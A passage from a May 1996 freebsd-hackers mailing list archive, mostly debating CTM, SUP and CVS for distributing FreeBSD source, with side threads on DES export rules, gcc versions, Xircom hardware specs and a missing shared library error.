``Bill Gore'' as made it an Presidential election issue that the restrictions be at least lightened to allow 64bit DES to be exported, if not totally banished. Also, they may actually just export the code that uses the DES library and use one of the internationally safe ones (like we basically do). > By the way, I hear that Microsoft DOES NOT plan to release a Linux version of > the FrontPage extensions. ISP's using Linux for their web servers won't be > able to support customers with FrontPage. I expect FrontPage to become very > popular with end-users who want to do their own web pages. It's a good > application at an attractive price, and of course it has Microsoft behind it. > We might see some Linux-based ISP's switching to FreeBSD because of this. Nice to hear :-) Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Fri May 17 12:10:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA10623 for hackers-outgoing; Fri, 17 May 1996 12:10:20 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA10614 for ; Fri, 17 May 1996 12:10:16 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id NAA10080; Fri, 17 May 1996 13:08:44 -0600 (MDT) Message-Id: <199605171908.NAA10080@rover.village.org> To: Michael Smith Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD Cc: rkw@dataplex.net (Richard Wackerbarth), hackers@FreeBSD.org In-reply-to: Your message of Fri, 17 May 1996 21:42:20 +0930 Date: Fri, 17 May 1996 13:08:44 -0600 From: Warner Losh Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk : What could be simpler? ctm is fine for people who want read-only : source, and are willing to carry it all. sup is much better for people : who like to tinker with their tree. Hmmm, with the CVS tree I can have a limited set of uncommitted chanages and cvs update handles the merging. Sup doesn't do this too well... Warner From owner-freebsd-hackers Fri May 17 12:17:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA11120 for hackers-outgoing; Fri, 17 May 1996 12:17:00 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA11113 for ; Fri, 17 May 1996 12:16:57 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id NAA10105; Fri, 17 May 1996 13:15:34 -0600 (MDT) Message-Id: <199605171915.NAA10105@rover.village.org> To: "Jordan K. Hubbard" Subject: Re: Re(2): Standard Shipping Containers Cc: "Richard Wackerbarth" , "FreeBSD Hackers" In-reply-to: Your message of Fri, 17 May 1996 07:46:17 PDT Date: Fri, 17 May 1996 13:15:34 -0600 From: Warner Losh Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk : Bleah! Don't you know The Law? For heretically proposing another : directory directly under /usr, you must now die. Sorry, I don't make : the rules around here. :-) "Hello. My name is Jordan Hubbard. You messed up my directory structure. Prepare to die..." Warner From owner-freebsd-hackers Fri May 17 12:49:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA13259 for hackers-outgoing; Fri, 17 May 1996 12:49:33 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id MAA13253 for ; Fri, 17 May 1996 12:49:30 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id NAA28434; Fri, 17 May 1996 13:49:20 -0600 Date: Fri, 17 May 1996 13:49:20 -0600 From: Nate Williams Message-Id: <199605171949.NAA28434@rocky.sri.MT.net> To: Warner Losh Cc: Michael Smith , rkw@dataplex.net (Richard Wackerbarth), hackers@freebsd.org Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: <199605171908.NAA10080@rover.village.org> References: <199605171908.NAA10080@rover.village.org> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > : What could be simpler? ctm is fine for people who want read-only > : source, and are willing to carry it all. sup is much better for people > : who like to tinker with their tree. > > Hmmm, with the CVS tree I can have a limited set of uncommitted > chanages and cvs update handles the merging. Sup doesn't do this too > well... Huh? SUP is a distribution mechanism. You can 'SUP' the repository as easily as you can 'CTM' the repository, and CVS will handle the updates just as easily. :) Nate From owner-freebsd-hackers Fri May 17 13:06:43 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA14389 for hackers-outgoing; Fri, 17 May 1996 13:06:43 -0700 (PDT) Received: from ajax.che.curtin.edu.au (ajax.che.curtin.edu.au [134.7.142.142]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA14380 for ; Fri, 17 May 1996 13:06:36 -0700 (PDT) Received: (from gdr@localhost) by ajax.che.curtin.edu.au (8.6.8/8.6.6) id GAA11345 for freebsd-hackers@freebsd.org; Sat, 18 May 1996 06:06:03 +1000 From: Gary Roberts Message-Id: <199605172006.GAA11345@ajax.che.curtin.edu.au> Subject: Re: Standard Shipping Containers To: freebsd-hackers@freebsd.org Date: Sat, 18 May 1996 06:06:02 +1000 (EST) Organisation: The University of Queensland Phone: +617 3844 0400 Reply-To: gdr@wcs.uq.edu.au X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> The great CTM - SUP - CVS and "who's taking cheap shots at who" debate. You've all read the arguments (if you are interested -- and I certainly am) so I won't burden you with unnecessary context. I would regard myself as one of Richard's `Joe Users'. I've followed this thread and feel I should give feedback from my perspective. Someone said "Let the users speak" so here goes... I have a love of unix in general, BSD unix in particular, and I think FreeBSD is just the greatest thing since sliced bread. I have nothing but praise and admiration for _all_ the developers and contributors who have made FreeBSD what it is today. I'd love to have the ability and time to contribute. Whilst I have no real ability or need to customise the sources, I have always installed full sources right back from the 386BSD+patchkit days. I can read makefiles and do basic sysadmin type tasks and I always customise my kernel by removing excess baggage. Occasionally I rebuild things and sometime even port things if it proves to be not too difficult. FreeBSD is essential to my work these days and I want to have the benefits of stability and reliability with as much of the new development as I can possibly get. I have therefore chosen to go the -stable route for the moment anyway. Over the years I have done a number of full installs on a number of machines and I have really appreciated all the work that has been done by Jordan and Co on sysinstall. A year ago I used to think that installing SNAPS was the easiest way to stay relatvely up-to-date. I used to do complete installs and then spend quite a lot of time re-customising everything. Because of the work involved in this process, I still have two machines running August 95 SNAPS, rather than something a bit more current. My personal work machine is a 486 notebook _still_ running 1.1.5.1. Recently, on a spare identical notebook, I installed 2.1.0R on a 1.28Gig drive and used ctm to bring it up to -stable. I found (after overcoming my initial reluctance and inertia to experiment with the unknown) that this was the simplest and most painless upgrade I have ever done. After ftping the `biggie' and all the subsequent deltas and letting ctm do its thing, I did a make world, rebuilt and installed the kernel and rebooted into -stable with amazing ease. I now have the new deltas flowing in automatically by e-mail and whenever I feel like it, I can run ctm again and repeat the process. My thanks go to phk for ctm and also to rkw for keeping up the supply of deltas (any anyone else involved as well). Even though I am _normally_ very well net connected, ctm suits me very well for a number of reasons:- 1. I'm now acquainted with the procedure and it is quite painless :->. 2. After the initial `biggie', the deltas are environmentally friendly (by conserving a precious resource - net bandwidth). 3. By extending the default 3 day expiry time for sendmail bouncing stuff on my mail server machine, all the new deltas will still eventually arrive on my personal machine even if my work takes me `on the road' for up to a month to places where I don't have internet access. The same is equally true for mailing list stuff like -hackers :->. (It's quite spectacular when I reconnect and watch a huge batch of stuff hit my poor little notebook :->.). Having said all this and having read the various comments and counter comments to rkw's proposals, I find myself wanting to support him 150% if what he is proposing will make his life easier. I believe that there is a relatively large group of `slightly better than novice' users who are capable enough to do `make world' and rebuild their kernel and who would really appreciate being able to painlessly maintain a steady flow of fixes, enhancements, new functionality or whatever through the ctm mechanism. At least having discovered it, _I'm_ very appreciative of it. Since starting this series of comments, my machine has received quite a flood of further e-mails on this thread, including this last snippet from Jordan:- > Or you could also make the point that for getting the *CVS* tree, for > which read-only access is the norm, sup or CTM are fairly > interchangeable and it's back down to choosing by required latency > again. As disk space gets cheaper, I think I'm going to be advocating > local copies of our CVS repository as the holy grail of src tree > management. :-) A number of questions:- Is the CVS tree available as ctm deltas or is it only -current and -stable? Am I correct in thinking that with an up-to-date CVS tree (maintained by sup or ctm) you can create any of the supported source trees in a fully consistent and functional state at a time of your choosing? Also would the only real penalty be extra disk space to keep it all? Finally am I correct in thinking that at the time of a release (either SNAP or full release) you could just checkout your own release from your locally maintained CVS tree and build it all yourself in a reasonably trivial manner even for a moderately unskilled or semi-skilled user? If `yes' then where was that phone number for my HD supplier :->. Or if I'm way off the planet please let me down gently :-<. Cheers, -- Gary Roberts (gdr@wcs.uq.edu.au) (Ph +617 3844 0400 Fax +617 3844 0444) 4th Floor, South Bank House, 234 Grey St, South Bank QLD 4101 Australia. From owner-freebsd-hackers Fri May 17 13:08:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA14613 for hackers-outgoing; Fri, 17 May 1996 13:08:35 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA14608 for ; Fri, 17 May 1996 13:08:31 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA20510; Fri, 17 May 1996 13:04:38 -0700 From: Terry Lambert Message-Id: <199605172004.NAA20510@phaeton.artisoft.com> Subject: Re: internal compiler error To: plm@simplex.nl (Peter Mutsaers) Date: Fri, 17 May 1996 13:04:38 -0700 (MST) Cc: freebsd-hackers@FreeBSD.org In-Reply-To: <87loisb709.fsf@plm.simplex.nl> from "Peter Mutsaers" at May 17, 96 00:14:30 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > NW> #cheap shot on# > NW> This is one of the reasons why we stick w/older versions of GCC. :) > NW> #cheap shot off# > > But the newer versions are quite a bit faster. I used to use Linux > until recently and it uses 2.7.2 for everything, so it must be > possible for FreeBSD too. It is a pity to ignore such easy performance > gain. I guarantee that I can make any code you can name run 50% faster. Provided it does not have to produce correct output (a condition you seem to be willing to accept). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri May 17 13:14:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA15009 for hackers-outgoing; Fri, 17 May 1996 13:14:00 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA14998; Fri, 17 May 1996 13:13:50 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA20537; Fri, 17 May 1996 13:10:37 -0700 From: Terry Lambert Message-Id: <199605172010.NAA20537@phaeton.artisoft.com> Subject: Re: A MMAP observation To: nate@sri.MT.net (Nate Williams) Date: Fri, 17 May 1996 13:10:36 -0700 (MST) Cc: terry@lambert.org, gpalmer@FreeBSD.ORG, mrcpu@cdsnet.net, hackers@FreeBSD.ORG In-Reply-To: <199605171421.IAA27053@rocky.sri.MT.net> from "Nate Williams" at May 17, 96 08:21:21 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I saw a posting of a UNIX ODBC on comp.sources.unix about 8 months > > ago (+/- 2 months). > > Actually, it was Alt.sources. I can't believe my pack-rat mentality > actually got something that Terry didn't. :) That's once. Savor it; it probably won't happen again... I'll print the @!$@%*! stuff out and stack it in my living room if I have to! Oh, the shame! 8-) 8-) 8-) Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri May 17 13:19:28 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA15417 for hackers-outgoing; Fri, 17 May 1996 13:19:28 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA15410; Fri, 17 May 1996 13:19:25 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA20568; Fri, 17 May 1996 13:16:23 -0700 From: Terry Lambert Message-Id: <199605172016.NAA20568@phaeton.artisoft.com> Subject: Re: xircom hardware specs To: gpalmer@freebsd.org (Gary Palmer) Date: Fri, 17 May 1996 13:16:23 -0700 (MST) Cc: babkin@hq.icb.chel.su, nate@sri.MT.net, kevin@NDA.COM, freebsd-hackers@freebsd.org In-Reply-To: <10293.832308206@palmer.demon.co.uk> from "Gary Palmer" at May 17, 96 05:43:26 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > But it's possible to take say BSDI driver, disassemble it and make the specs > > publically available. > > Reverse engineering isn't legal everywhere :-) And importing the results of locally illegal reverse engineering is generally illegal everywhere reverse engineering is illegal. A clean room recoding from software without a legally binding license is about the only exception. Technically, shrink-wrap licensing would probably apply here unless you went to court over whether implied contracts were illegal. If you do, make sure you do it before some of the pending legislation that is following on the heels of the CDA (legislation which intends to make shrink-wrap licensing legally binding). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri May 17 13:27:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA16090 for hackers-outgoing; Fri, 17 May 1996 13:27:13 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA16067; Fri, 17 May 1996 13:27:03 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA20585; Fri, 17 May 1996 13:22:47 -0700 From: Terry Lambert Message-Id: <199605172022.NAA20585@phaeton.artisoft.com> Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: rkw@dataplex.net (Richard Wackerbarth) Date: Fri, 17 May 1996 13:22:46 -0700 (MST) Cc: freebsd-current@FreeBSD.org, hackers@FreeBSD.org, freebsd-stable@FreeBSD.org, nate@sri.MT.net In-Reply-To: from "Richard Wackerbarth" at May 16, 96 10:59:43 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Not true. If you have direct access to freefall (developers only), you can > use (4-sup) to get "up to the minute" copies of the CVS tree. > > If YOU can get "up to the minute" updates via sup, it is only because you fall > in my category (1). My proposal does not affect a sup server that does not > provide synchronous snapshots. If the mirror servers fired three times a day, and your pull from the mirror fired once a day, you'd be set. You only need an "up to the minute" version if that's how you locally maintain your changes -- by communicating them through the master SUP server. This assumes commit privs. If you don't have commit privs, once a day or once a week (depending on your level of activity) is enough to handle it for you. You can cut the intermediate sup server traffic by 33% if you institute multiple reader/single writer locks and use a pseudo writer lock for the SUP area mirroring. If commiters follow the "it must run before you release the writer lock" protocol, then you will be guaranteed a buildable image on every SUP. > > Since your assumptions are invalid for one of the two most common > > distribution method, the rest of the proposal is not completely valid. > > Since those who have the direct access are not really inhibited by this > proposal, I suggest that you reconsider it in view of the other 99.99% of the > folks for whom my assumptions apply. I don't totally agree with all aspects of the proposal, since I have multple trees for multiple concurrent projects, and it won't help me out that much because of it. But this is a point in its favor. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri May 17 13:28:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA16329 for hackers-outgoing; Fri, 17 May 1996 13:28:23 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA16322 for ; Fri, 17 May 1996 13:28:21 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA20599; Fri, 17 May 1996 13:23:46 -0700 From: Terry Lambert Message-Id: <199605172023.NAA20599@phaeton.artisoft.com> Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: nate@sri.MT.net (Nate Williams) Date: Fri, 17 May 1996 13:23:46 -0700 (MST) Cc: rkw@dataplex.net, hackers@freebsd.org, nate@sri.MT.net In-Reply-To: <199605170419.WAA25739@rocky.sri.MT.net> from "Nate Williams" at May 16, 96 10:19:37 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I hope there is somebody out there who cares about the difficulties of the > > "average joe" and doesn't simply brush off those problems because they are a > > member of the elite class who get to play by their own rules. > > Cheap shot. I'm not 'elite' class, but what I hear you arguing for is > something that the 'members of the elite class' get to implement, which > means more work. Since the current system already works and doesn't > require any more work for me, I'm bane to consider anything that makes > my life more difficult. I think he is referring to commit priviledges. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri May 17 13:28:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA16367 for hackers-outgoing; Fri, 17 May 1996 13:28:38 -0700 (PDT) Received: from abe.ecei.tohoku.ac.jp (oyakata.abe.ecei.tohoku.ac.jp [130.34.237.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id NAA16359 for ; Fri, 17 May 1996 13:28:35 -0700 (PDT) Received: from kobun.abe.ecei.tohoku.ac.jp (kobun.abe.ecei.tohoku.ac.jp [130.34.237.8]) by abe.ecei.tohoku.ac.jp (8.7.5+2.6Wbeta6+Abe_Lab(VIII)/3.4W3+Abe_Lab(master/VIII)) with ESMTP id FAA19551 for ; Sat, 18 May 1996 05:28:29 +0900 (JST) Received: (from fation@localhost) by kobun.abe.ecei.tohoku.ac.jp (8.7.5+2.6Wbeta6+Abe_Lab(VIII)/3.4W3+Abe_Lab(client)) id FAA26808; Sat, 18 May 1996 05:28:28 +0900 (JST) Date: Sat, 18 May 1996 05:28:28 +0900 (JST) From: Fation Sevrani Message-Id: <199605172028.FAA26808@kobun.abe.ecei.tohoku.ac.jp> To: hackers@freebsd.org Subject: shared library "libc.so.2.2" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello All Last night I down-loaded 2.2-96050-SNAP from ftp.FreeBSD.org. After the installation finished successfully, running /usr/X11R6/bin/xf86config resulted in the following error: > ld.so failed Can't find shared library "libc.so.2.2" The same message appeared when I run mule (after compiling it without error) After I Dow-loaded 2.2-960323-SNAP from ftp.FreeBSD.org, the same thing happened again. Can you help me to solve this problem ? Regards Fation Sevrani fation@abe.ecei.tohoku.ac.jp From owner-freebsd-hackers Fri May 17 13:49:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA18085 for hackers-outgoing; Fri, 17 May 1996 13:49:29 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA18062; Fri, 17 May 1996 13:49:21 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA20637; Fri, 17 May 1996 13:44:28 -0700 From: Terry Lambert Message-Id: <199605172044.NAA20637@phaeton.artisoft.com> Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: chuckr@Glue.umd.edu (Chuck Robey) Date: Fri, 17 May 1996 13:44:27 -0700 (MST) Cc: rkw@dataplex.net, freebsd-current@FreeBSD.ORG, hackers@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG, nate@sri.MT.net In-Reply-To: from "Chuck Robey" at May 17, 96 09:59:32 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I hope there is somebody out there who cares about the difficulties of the > > "average joe" and doesn't simply brush off those problems because they are a > > member of the elite class who get to play by their own rules. > > If you would make clear that your realize that your comments don't apply > to those who are net connected, you wouldn't have everyone complaining. > Your comments so far have been incorrect in how sup and ctm really work. > No one would argue about upgrading ctm, but you seem to be making claims > about both sup and ctm that don't apply to both. Actually, I am net connected, but I do not have commit privs. I have some strong objections to using the CVS tree as an experimental code communcation medium for a working group, even if I did have commit privs. I agree with him. There are problems for the programmer without commit priviledges; specifically, I can't have both local source code control for my changes and have up to date integration of other's changes at the same time. Where I differ is that I believe this is a *purely* CTM/SUP problem, because of the way updates are made by these tools. It isn't clear to me whether CVS itself can support the concepts necessary to fix the problem, in any case. The other issue that I disagree on is more one of policy enforcement than anything else. At Novell, we used CVS for tree maintenance, but we supported a multiple reader/single writer locking mechanism. You could checkout sources without acquiring a reader lock, but doing so put you at risk of having an unbuildable source tree. A writer lock could not be acquired while a reader lock was asserted, and vice versa. The correct method of making a tree snapshot for SUP or CTM such that the resulting tree is guaranteed to be guildable is to not release the writer lock until the tree builds. A writer lock is followed by a CVS update, conflict resoloution, a test build, and delta checking The CVS tree should be buildable at all revision tag levels. Period. This would drop 33% of the SUP overhead off of Freefall immediately, and 50% of the SUP overhead on the mirrors, as updates are not required to be retried. It would also make FreeBSD look better. It would be impossible to check out an unbuildable tree following a SUP. No more "xxx breaks yyy" traffic on -current (at least for structural changes to the build environment). Policy has little or nothing to do with implementation. The reason I suggested locking was as a means of implementing the policy. It is not the only means, and personal restraint is obviously possible. if the integration update policy is followed. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri May 17 13:51:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA18302 for hackers-outgoing; Fri, 17 May 1996 13:51:29 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA18291 for ; Fri, 17 May 1996 13:51:16 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA20649; Fri, 17 May 1996 13:46:50 -0700 From: Terry Lambert Message-Id: <199605172046.NAA20649@phaeton.artisoft.com> Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD To: nate@sri.MT.net (Nate Williams) Date: Fri, 17 May 1996 13:46:49 -0700 (MST) Cc: rkw@dataplex.net, hackers@FreeBSD.org, msmith@atrad.adelaide.edu.au In-Reply-To: <199605171439.IAA27118@rocky.sri.MT.net> from "Nate Williams" at May 17, 96 08:39:22 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Here is what's broken: > > > > 1) For the new sup user to get started, sup has to download > > the entire source tree, even though the user already has most > > of it from the tarball or the CD. > > This is the same way with *every* package on the net, including Linux. > Everytime you want to have the 'latest&greatest' sources, there is > always a penalty involved. Now, minimizing that penalty is worthy goal, > but calling it broken is using the wrong term. I agree with Nate. It's pessimal (hard to concieve of how to make it worse), but it's not broken. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri May 17 14:53:12 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA22709 for hackers-outgoing; Fri, 17 May 1996 14:53:12 -0700 (PDT) Received: from multivac.orthanc.com (root@multivac.orthanc.com [206.12.238.2]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id OAA22686; Fri, 17 May 1996 14:53:00 -0700 (PDT) Received: from orodruin.orthanc.com (root@orodruin.orthanc.com [206.12.238.3]) by multivac.orthanc.com (8.7.5/8.7.3) with ESMTP id OAA01189; Fri, 17 May 1996 14:52:51 -0700 (PDT) Received: from localhost (lyndon@localhost) by orodruin.orthanc.com (8.7.5/8.7.3) with SMTP id OAA16143; Fri, 17 May 1996 14:52:49 -0700 (PDT) Message-Id: <199605172152.OAA16143@orodruin.orthanc.com> X-Authentication-Warning: orodruin.orthanc.com: lyndon owned process doing -bs X-Authentication-Warning: orodruin.orthanc.com: Host lyndon@localhost didn't use HELO protocol To: freebsd-scsi@freebsd.org, freebsd-hardware@freebsd.org, freebsd-hackers@freebsd.org Subject: Who wants a DPT SCSI controller driver? Reply-To: salyzyn@inet.dpt.com Date: Fri, 17 May 1996 14:52:47 -0700 From: Lyndon Nerenberg Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm forwarding this on Mark's behalf. If you would like to see FreeBSD support for DPT's SCSI controllers, please let him know. --lyndon ------- Forwarded Message Date: Wed, 15 May 96 08:58:27 EST From: "Salyzyn" To: Lyndon Nerenberg Subject: FreeBSD driver My boss wants me to investigate the market need for the FreeBSD driver. I have only three people I can reference at this moment, could you assertain a larger number of interested parties to give it some clout when I propose the need to develop the driver (in house, as opposed to using my own personal resources, considering my home machine is a melted blob right now). The time to strike is right now! Thanks -- Mark ------- End of Forwarded Message From owner-freebsd-hackers Fri May 17 15:10:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA23612 for hackers-outgoing; Fri, 17 May 1996 15:10:56 -0700 (PDT) Received: from tfs.com (tfs.com [140.145.250.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id PAA23605 for ; Fri, 17 May 1996 15:10:53 -0700 (PDT) Received: from critter.tfs.com by tfs.com (smail3.1.28.1) with SMTP id m0uKXjS-0003xMC; Fri, 17 May 96 15:10 PDT Received: from localhost (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.6.12) with SMTP id TAA02465; Fri, 17 May 1996 19:52:36 GMT X-Authentication-Warning: critter.tfs.com: Host localhost [127.0.0.1] didn't use HELO protocol To: hosokawa@mt.cs.keio.ac.jp (HOSOKAWA Tatsumi) cc: nate@sri.MT.net, terry@lambert.org, kevin@NDA.COM, freebsd-hackers@freebsd.org Subject: Re: xircom hardware specs In-reply-to: Your message of "Fri, 17 May 1996 16:19:16 +0900." <199605170719.QAA27692@frig.mt.cs.keio.ac.jp> Date: Fri, 17 May 1996 19:52:35 +0000 Message-ID: <2463.832362755@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I heard from Linux community that Xircom has violated GPL (they used > GPL'ed code for their driver, and they did not provide sources). This > is one of the largest reason why I don't want to support Xircom's > cards. Not GPL, rather the used the Crynwr packet-driver without following the rules, and they pissed off a good deal of people with their attitude and response when the complaint was launched. -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Fri May 17 15:33:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA25101 for hackers-outgoing; Fri, 17 May 1996 15:33:34 -0700 (PDT) Received: from tfs.com (tfs.com [140.145.250.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id PAA25089 for ; Fri, 17 May 1996 15:33:32 -0700 (PDT) Received: from critter.tfs.com by tfs.com (smail3.1.28.1) with SMTP id m0uKY3m-0003wwC; Fri, 17 May 96 15:31 PDT Received: from localhost (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.6.12) with SMTP id WAA02985; Fri, 17 May 1996 22:31:41 GMT X-Authentication-Warning: critter.tfs.com: Host localhost [127.0.0.1] didn't use HELO protocol To: "Richard Wackerbarth" cc: "hackers@FreeBSD.org" , "Michael Smith" Subject: Re: Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD In-reply-to: Your message of "17 May 1996 05:13:10 EST." Date: Fri, 17 May 1996 22:31:39 +0000 Message-ID: <2983.832372299@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > All this discussion is telling us is that there are several different ways > > by which FreeBSD source code is distributed, and each of these > > different ways works well for different people. Rich, I guess that I need to say my piece here, and so I will. 1st: I don't see the FreeBSD project as being in the business of enforcing policies, but rather we try to offer tools. 2nd: Correct or incorrect as your suggestions may be, they involve work that I don't see the payback justifying. 3rd: They way you want to sell the idea of a change, is to make people realize it's better for them that way. You can of course sit on the edge of the bed and tell them how good it will be if you have it your way, or you can offer it as an alternative and see if they buy it. CTM received a very cold reception when I started it, basically there were two camps: a) people who looked at is as lesser service than SUP, usually because they didn't pay for their packets and generally got them all though the networks. b) people for whoom SUP didn't worked because they didn't have 